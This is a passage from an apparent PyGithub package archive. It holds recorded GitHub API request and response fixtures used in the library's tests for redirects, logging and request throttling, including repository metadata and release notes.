head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-05-09T07:44:21Z","pushed_at":"2023-05-09T07:33:55Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13824,"stargazers_count":5996,"watchers_count":5996,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1628,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":258,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1628,"open_issues":258,"watchers":5996,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1628,"subscribers_count":115} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Requester.testBaseUrlSchemeRedirection.txt0000644000175100001660000000027314756101563026451 0ustar00runnerdockerhttp GET api.github.com None /repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 301 [('Content-Length', '0'), ('Location', 'https://api.github.com/repos/PyGithub/PyGithub')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Requester.testLoggingRedirection.txt0000644000175100001660000002160614756101563025360 0ustar00runnerdockerhttps GET api.github.com None /repos/EnricoMi/test {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 301 [('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 06:52:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '150'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2023-06-08 06:12:06 UTC'), ('Location', 'https://api.github.com/repositories/638123443'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1683617929'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C484:49F3:317517:31F05B:6459ED9B')] {"message":"Moved Permanently","url":"https://api.github.com/repositories/638123443","documentation_url":"https://docs.github.com/v3/#http-redirects"} https GET api.github.com None /repositories/638123443 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 06:52:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"851839f10d426070ef6e5fb497f190a4fdc29bcfc6b77ec6dbeaa7bedafbd759"'), ('Last-Modified', 'Tue, 09 May 2023 06:14:05 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-08 06:12:06 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1683617929'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C48E:F5B6:2DB7D8:2E32F1:6459ED9B')] {"id":638123443,"node_id":"R_kgDOJgj9sw","name":"test-renamed","full_name":"EnricoMi/test-renamed","private":true,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/test-renamed","description":null,"fork":false,"url":"https://api.github.com/repos/EnricoMi/test-renamed","forks_url":"https://api.github.com/repos/EnricoMi/test-renamed/forks","keys_url":"https://api.github.com/repos/EnricoMi/test-renamed/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/test-renamed/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/test-renamed/teams","hooks_url":"https://api.github.com/repos/EnricoMi/test-renamed/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/test-renamed/events","assignees_url":"https://api.github.com/repos/EnricoMi/test-renamed/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/test-renamed/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/test-renamed/tags","blobs_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/test-renamed/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/test-renamed/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/test-renamed/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/test-renamed/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/test-renamed/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/test-renamed/subscription","commits_url":"https://api.github.com/repos/EnricoMi/test-renamed/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/test-renamed/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/test-renamed/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/test-renamed/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/test-renamed/merges","archive_url":"https://api.github.com/repos/EnricoMi/test-renamed/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/test-renamed/downloads","issues_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/test-renamed/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/test-renamed/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/test-renamed/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/test-renamed/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/test-renamed/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/test-renamed/deployments","created_at":"2023-05-09T06:13:40Z","updated_at":"2023-05-09T06:14:05Z","pushed_at":"2023-05-09T06:13:40Z","git_url":"git://github.com/EnricoMi/test-renamed.git","ssh_url":"git@github.com:EnricoMi/test-renamed.git","clone_url":"https://github.com/EnricoMi/test-renamed.git","svn_url":"https://github.com/EnricoMi/test-renamed","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"private","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"AKVBE3OMGQYHDOJWMHTJI3DELHXMO","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","network_count":0,"subscribers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequesterThrottled.testShouldDeferRequests.txt0000644000175100001660000026043514756101563027441 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"590cc0c8c908cfbaa795edefd9fa4b424dce1cf509b00ec3b791186ca4ca01b0"'), ('Last-Modified', 'Mon, 10 Jan 2022 15:54:04 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4640'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '360'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA74:10A67:499835A:4B3ECF3:61DC5706')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-01-10T15:54:04Z","pushed_at":"2022-01-10T12:57:13Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13607,"stargazers_count":5001,"watchers_count":5001,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1428,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":165,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1428,"open_issues":165,"watchers":5001,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1428,"subscribers_count":108} https GET api.github.com None /repos/PyGithub/PyGithub/releases?per_page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ee105f8b9e3d3e3feb1b7cd35ad11da16ab8358bed8ed27376bc94cf985e21c0"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4639'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '361'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA76:10FD2:8738F60:895D8B5:61DC5706')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41982557/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.55","id":41982557,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgyNTU3","tag_name":"v1.55","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T04:43:40Z","published_at":"2021-04-26T04:44:57Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.55","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.55","body":"**Breaking Changes**\r\n\r\n* Remove client_id/client_secret authentication (#1888) (901af8c8)\r\n* Adjust to Github API changes regarding emails (#1890) (2c77cfad)\r\n - This impacts what AuthenticatedUser.get_emails() returns\r\n* PublicKey.key_id could be int on Github Enterprise (#1894) (ad124ef4)\r\n* Export headers in GithubException (#1887) (ddd437a7)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Do not import from unpackaged paths in typing (#1926) (27ba7838)\r\n* Implement hash for CompletableGithubObject (#1922) (4faff23c)\r\n* Use property decorator to improve typing compatibility (#1925) (e4168109)\r\n* Fix :rtype: directive (#1927) (54b6a97b)\r\n* Update most URLs to docs.github.com (#1896) (babcbcd0)\r\n* Tighten asserts for new Permission tests (#1893) (5aab6f5d)\r\n* Adding attributes \"maintain\" and \"triage\" to class \"Permissions\" (#1810) (76879613)\r\n* Add default arguments to Workflow method type annotations (#1857) (7d6bac9e)\r\n* Re-raise the exception when failing to parse JSON (#1892) (916da53b)\r\n* Allow adding attributes at the end of the list (#1807) (0245b758)\r\n* Updating links to Github documentation for deploy keys (#1850) (c27fb919)\r\n* Update PyJWT Version to 2.0+ (#1891) (a68577b7)\r\n* Use right variable in both get_check_runs() (#1889) (3003e065)\r\n* fix bad assertions in github.Project.edit (#1817) (6bae9e5c)\r\n* Test repr() for PublicKey (#1879) (e0acd8f4)\r\n* Add support for deleting repository secrets (#1868) (696793de)\r\n* Switch repository secrets to using f-strings (#1867) (aa240304)\r\n* Manually fixing paths for codecov.io to cover all project files (#1813) (b2232c89)\r\n* Add missing links to project metadata (#1789) (64f532ae)\r\n* No longer show username and password examples (#1866) (55d98373)\r\n* Adding github actions secrets (#1681) (c90c050e)\r\n* fix get_user_issues (#1842) (7db1b0c9)\r\n* Switch all string addition to using f-strings (#1774) (290b6272)\r\n* Enabling connetion pool_size definition (a77d4f48)\r\n* Always define the session adapter (aaec0a0f)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41981910/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.0.1","id":41981910,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgxOTEw","tag_name":"v1.54.0.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T02:22:13Z","published_at":"2021-04-26T04:07:53Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.0.1","body":"* Hotfix release to better support Python 3.5 users.\r\n* Pin pyjwt to <2.0 (502caed9)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/35686980/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.1","id":35686980,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM1Njg2OTgw","tag_name":"v1.54.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-12-24T04:11:01Z","published_at":"2020-12-24T05:39:10Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.1","body":"* Pin pyjwt version (#1797) (31a1c007)\r\n* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\r\n* Fix #1731: Incorrect annotation (82c349ce)\r\n* Drop support for Python 3.5 (#1770) (63e4fae9)\r\n* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\r\n* Fix stubs file for Repository 